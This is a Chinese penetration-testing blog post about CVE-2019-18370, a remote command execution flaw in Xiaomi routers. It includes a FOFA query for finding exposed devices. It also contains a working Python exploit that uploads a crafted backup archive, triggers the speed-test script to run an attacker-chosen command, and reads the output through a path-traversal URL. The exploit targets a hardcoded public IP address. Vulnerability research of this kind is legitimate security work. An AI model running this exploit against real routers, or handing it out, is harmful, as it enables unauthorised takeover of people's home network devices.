统计
  • 建站日期:2021-03-10
  • 文章总数:114 篇
  • 评论总数:0 条
  • 分类总数:12 个
  • 最后更新:4月29日
文章 渗透测试

小米 路由器 C_UPLOAD 远程命令执行漏洞 CVE-2019-18370!

自由子
首页 渗透测试 正文

漏洞描述

小米路由器存在接口,备份文件是tar.gz格式的,上传后tar zxf解压,所以构造备份文件,可以控制解压目录的文件内容,结合测试上传下载速度功能的sh脚本执行时读取测试url列表文件,并将url部分直接进行命令拼接执行。

漏洞影响

小米 路由器

FOFA

app="小米路由器"

漏洞复现

登录页面


小米路由器C_UPLOAD远程命令执行漏洞CVE-2019-18370!
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第1
张图片

验证POC

import os
import tarfile
import requests

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

## get stok
stok = input("stok: ")

## make config file
command = input("command: ")
speed_test_filename = "speedtest_urls.xml"
with open("template.xml","rt") as f:
    template = f.read()
data = template.format(command=command)
# print(data)
with open("speedtest_urls.xml",'wt') as f:
    f.write(data)

with tarfile.open("payload.tar.gz", "w:gz") as tar:
    # tar.add("cfg_backup.des")
    # tar.add("cfg_backup.mbu")
    tar.add("speedtest_urls.xml")

## upload config file
print("start uploading config file ...")
r1 = requests.post("http://101.249.46.7:8098/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)
# print(r1.text)

## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("http://101.249.46.7:8098/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)
# print(r2.text)

## read result file
r3 = requests.get("http://101.249.46.7:8098/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
if r3.status_code == 200:
    print("success, vul")
    print(r3.text)

接口为后台权限接口,需要通过任意文件读取漏洞获取 stok


小米路由器C_UPLOAD远程命令执行漏洞CVE-2019-18370!
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第2
张图片

扫描二维码,在手机上阅读

版权说明
文章采用: 《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权。
版权声明:未标注转载均为本站原创,转载时请以链接形式注明文章出处。如有侵权、不妥之处,请联系站长删除。敬请谅解!

-- 展开阅读全文 --
电信 天翼网关F460 WEB_SHELL_CMD.GCH 远程命令执行漏洞
« 上一篇
Web 应用程序测试的十大优秀实践!
下一篇 »
为了防止灌水评论,登录后即可评论!

HI ! 请登录
注册会员,享受下载全站资源特权。

最新评论

标签